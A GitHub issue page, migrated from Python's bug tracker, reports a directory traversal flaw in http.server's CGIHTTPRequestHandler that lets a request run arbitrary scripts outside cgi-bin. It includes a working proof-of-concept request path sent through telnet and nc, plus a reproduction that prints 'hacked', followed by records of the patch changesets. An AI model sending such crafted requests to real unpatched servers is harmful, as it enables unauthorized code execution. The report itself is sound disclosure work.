-
-
Notifications
You must be signed in to change notification settings - Fork 31.6k
Directory traversal attack for CGIHTTPRequestHandler #63634
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Comments
An error in separating the path and filename of the CGI script to run in http.server.CGIHTTPRequestHandler allows running arbitrary executables in the directory under which the server was started. The problem is that in CGIHTTPRequestHandler we have: def run_cgi(self):
"""Execute a CGI script."""
path = self.path
dir, rest = self.cgi_info
i = path.find('/', len(dir) + 1) where path is the uncollapsed path in the URL, but cgi_info contains the first path segment and the rest from the *collapsed* path as filled in by is_cgi(), so indexing into path via len(dir) is incorrect. An example exploit is giving the request path: ///////////badscript.sh/../cgi-bin/cgi.sh Note that Firefox and wget at least simplify the path in the request; to make sure this exact path is used, do for example: (echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1"; echo) | telnet localhost 4443 This causes the CGIHTTPRequestHandler to execute the badscript.sh file in the directory in which the server was started, so script execution is not restricted to the cgi-bin/ or htbin/ subdirectories. |
I can confirm the issue: $ mkdir www
$ cd www
$ cat << EOF > badscript.sh
#!/bin/sh
echo hacked
EOF
$ chmod +x badscript.sh
$ ../python -m http.server --cgi
$ echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1" | nc localhost 8000
HTTP/1.0 200 Script output follows
Server: SimpleHTTP/0.6 Python/3.4.0a4+
Date: Tue, 29 Oct 2013 16:47:22 GMT
hacked |
Patch |
New changeset e4fe8fcaef0d by Benjamin Peterson in branch '2.7': New changeset b1ddcb220a7f by Benjamin Peterson in branch '3.1': New changeset dda1a32748e0 by Benjamin Peterson in branch '3.2': New changeset 544b654d000c by Benjamin Peterson in branch '3.3': New changeset 493a99acaf00 by Benjamin Peterson in branch 'default': |
New changeset d367ea865ea4 by Ned Deily in branch '2.7': New changeset 4de94641ba3e by Ned Deily in branch '3.2': New changeset b957f475e41e by Ned Deily in branch '3.3': New changeset 385f4406dc26 by Ned Deily in branch '3.4': New changeset 22e5a85ba840 by Ned Deily in branch 'default': |
See bpo-21323 for details of a problem introduced by the original fixes for this problem and now fixed (except for 3.1 which is now end-of-life). |
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
bugs.python.org fields:
The text was updated successfully, but these errors were encountered: